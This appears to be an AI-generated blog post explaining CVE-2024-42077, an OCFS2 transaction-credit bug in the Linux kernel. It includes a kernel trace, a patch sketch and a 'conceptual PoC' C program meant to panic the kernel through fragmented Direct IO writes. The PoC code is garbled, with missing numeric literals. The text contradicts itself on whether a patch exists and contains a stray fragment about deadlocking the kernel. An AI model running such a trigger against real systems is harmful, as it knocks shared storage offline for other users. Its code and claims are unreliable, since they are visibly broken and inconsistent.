CVE-2024-42077 refers to a serious vulnerability in the Linux kernel’s OCFS2 (Oracle Cluster File System 2) code. This bug could crash your system with a kernel panic under heavy, fragmented, or complex write workloads using Direct IO. The flaw was fixed recently but may be present in older distributions and custom kernel builds.

In this long-read, we’ll break down the problem in plain English, show sample code, explore how it can be triggered, and provide references for further research.

Vulnerability Overview

Summary:
A bug in OCFS2's write code (ocfs2_dio_end_io_write) led to “transaction credit” exhaustion, especially on fragmented files. If an attacker (or admin, or automation) writes many single-block extents in one operation, the kernel can run out of credits, freeze, trigger a panic, and abort the whole OCFS2 file system – knocking off storage for all users.

Why does this happen?
Each OCFS2 metadata operation (extending files, marking blocks written, etc.) requires a certain number of "credits" within the current transaction. The routine used to guess the required number (ocfs2_calc_extend_credits()) forgot that fragmented IO means *many* extent insertions might happen in a single write operation. When the kernel runs out of credits, it triggers a warning and then aborts the filesystem to prevent data corruption.

Here’s a kernel trace excerpt reported by Heming Zhao (summarized)

PANIC: "Kernel panic - not syncing: OCFS2: (device dm-1): panic forced after error"
[Stack trace omitted for brevity]
  #5 ocfs2_journal_dirty        [ocfs2]
  #6 ocfs2_split_extent         [ocfs2]
  #7 ocfs2_change_extent_flag   [ocfs2]
  #8 ocfs2_mark_extent_written  [ocfs2]
  #9 ocfs2_dio_end_io_write     [ocfs2]
  #10 ocfs2_dio_end_io          [ocfs2]
...

No kernel patch for this CVE

Then you can DEADLOCK or PANIC the kernel, bringing services offline.

Proof of Concept (PoC) – Triggering the Fault

You don’t need special privileges, but you must be able to perform direct block device IO to the OCFS2 filesystem. As a regular user, you might do this with custom file writing tools, but administrative or backup applications could hit this path by accident during big file writes.

Conceptual PoC

#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <errno.h>
#include <string.h>

#define BLOCKSIZE 4096
#define EXTENT_COUNT 100000

int main(void) {
    int fd = open("/mnt/ocfs2_fragfile", O_WRONLY | O_DIRECT | O_CREAT, 0644);
    if (fd < ) {
        perror("open");
        return 1;
    }

    // Allocate aligned buffer
    void *buf;
    if (posix_memalign(&buf, BLOCKSIZE, BLOCKSIZE)) {
        perror("posix_memalign");
        close(fd);
        return 1;
    }
    memset(buf, x41, BLOCKSIZE);    
    for (int i = ; i < EXTENT_COUNT; ++i) {
        // Seek to a noncontiguous block each time (simulate fragmentation)
        off_t off = i * BLOCKSIZE * 2; // Skip blocks to force extents
        if (lseek(fd, off, SEEK_SET) == (off_t)-1) {
            perror("lseek");
            break;
        }
        if (write(fd, buf, BLOCKSIZE) != BLOCKSIZE) {
            perror("write");
            break;
        }
    }
    close(fd);
    free(buf);
    return ;
}

*The above code creates a file with many single-block extents – on a sufficiently fragmented OCFS2 filesystem, and with high enough volume, this may exhaust the "transaction credits" and crash the kernel if not patched.*

The key code responsible was

ret = ocfs2_calc_extend_credits(...);
handle = ocfs2_start_trans(..., ret);
// Code inside ocfs2_dio_end_io_write

for (each extent) {
    ocfs2_mark_extent_written(...);
    // Can use more credits than estimated above!
}

The function ocfs2_mark_extent_written may need to replace or insert an extent – and if the calculation underestimates the number of credits, the transaction gets exhausted and safety measures panic the system.

Solution:
The fix is to actively check before each extent mark if enough credits remain, and extend the transaction as necessary to avoid ever running empty.

Patch logic snippet:

/* Ensure enough credits for next insert before operation */
if (remaining < needed_for_next_insert) {
    // Extend the transaction
    ocfs2_extend_trans(...);
}

Mitigation and Fix

Status:
A patch was merged upstream and is present in latest Linux 6.x and backports for some distributions.

Upgrade kernels to a version with this commit:

ocfs2: fix DIO failure due to insufficient transaction credits

References

- Linux Kernel commit: ocfs2: fix DIO failure due to insufficient transaction credits
- OCFS2 code base
- Official Linux Kernel CVE Database
- Red Hat Bugzilla for OCFS2 Credits Bug

Conclusion

CVE-2024-42077 is a classic example of a scalability bug in filesystem kernel code. In certain (common) configurations, write operations could silently lead to total filesystem failure and system panic. If you use OCFS2, upgrade now, and watch your kernel logs for any credit exhaustion warnings.

Stay safe, keep your kernel updated, and don’t let a million extents crash your business!

*© 2024 – Exclusive analysis by AI for Prompt User. Redistribution only with attribution. If you found this post helpful, check out the Linux Kernel bug tracker and subscribe for updates on emerging filesystem CVEs.*

Timeline

Published on: 07/29/2024 16:15:07 UTC
Last modified on: 07/30/2024 18:59:53 UTC